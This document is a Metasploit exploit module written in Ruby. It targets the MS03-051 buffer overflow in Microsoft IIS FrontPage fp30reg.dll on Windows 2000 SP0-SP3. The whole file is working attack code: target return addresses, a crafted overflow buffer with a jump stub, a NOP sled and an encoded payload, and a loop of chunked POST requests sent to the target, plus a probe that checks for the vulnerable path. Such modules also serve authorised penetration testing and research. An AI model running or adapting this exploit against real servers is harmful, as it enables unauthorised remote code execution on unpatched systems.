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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'MS03-051 Microsoft IIS ISAPI FrontPage fp30reg.dll Chunked Overflow',
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        'Description' => %q{
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          This is an exploit for the chunked encoding buffer overflow
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          described in MS03-051 and originally reported by Brett
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          Moore. This particular modules works against versions of
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          Windows 2000 between SP0 and SP3. Service Pack 4 fixes the
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          issue.
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        },
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        'Author' => [ 'hdm' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2003-0822'],
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          [ 'OSVDB', '2952'],
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          [ 'BID', '9007'],
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          [ 'MSB', 'MS03-051'],
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        ],
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        'Privileged' => false,
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        'Payload' => {
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          'Space' => 1024,
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          'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",
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          'StackAdjustment' => -3500,
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          ['Windows 2000 SP0-SP3', { 'Ret' => 0x6c38a4d0 }], # from mfc42.dll
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          ['Windows 2000 07/22/02', { 'Ret' => 0x67d44eb1 }],   # from fp30reg.dll 07/22/2002
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          ['Windows 2000 10/06/99', { 'Ret' => 0x67d4665d }],   # from fp30reg.dll 10/06/1999
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        ],
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        'DisclosureDate' => '2003-11-11',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('URL', [ true, "The path to fp30reg.dll", "/_vti_bin/_vti_aut/fp30reg.dll" ]),
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      ]
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    )
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  end
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  def exploit
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    print_status("Creating overflow request for fp30reg.dll...")
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    pat = rand_text_alphanumeric(0xdead)
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    pat[128, 4] = [target.ret].pack('V')
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    pat[264, 4] = [target.ret].pack('V')
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    # sub eax,0xfffffeff; jmp eax
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    pat[160, 7] = "\x2d\xff\xfe\xff\xff" + "\xff\xe0"
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    pat[280, 512] = make_nops(512)
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    pat[792, payload.encoded.length] = payload.encoded
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    0.upto(15) do |i|
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      if (i % 3 == 0)
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        print_status("Refreshing the remote dllhost.exe process...")
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        res = send_request_raw({
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          'uri' => normalize_uri(datastore['URL'])
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        }, -1)
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        if (res and res.body =~ /specified module could not be found/)
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          print_status("The server states that #{datastore['URL']} does not exist.\n")
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          return
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        end
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      end
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      print_status("Trying to exploit fp30reg.dll (request #{i} of 15)")
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      res = send_request_raw({
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        'uri' => normalize_uri(datastore['URL']),
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        'method' => 'POST',
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        'headers' =>
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        {
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          'Transfer-Encoding' => 'Chunked'
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        },
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        'data' => "DEAD\r\n#{pat}\r\n0\r\n"
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      }, 5)
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      if (res and res.body =~ /specified module could not be found/)
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        print_status("The server states that #{datastore['URL']} does not exist.\n")
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        return
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      end
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      handler
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      select(nil, nil, nil, 1)
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    end
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  end
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  def check
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    print_status("Requesting the vulnerable ISAPI path...")
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    r = send_request_raw({
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      'uri' => normalize_uri(datastore['URL'])
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    }, -1)
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    if (r and r.code == 501)
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      return Exploit::CheckCode::Detected
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    end
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    return Exploit::CheckCode::Safe
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  end
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end
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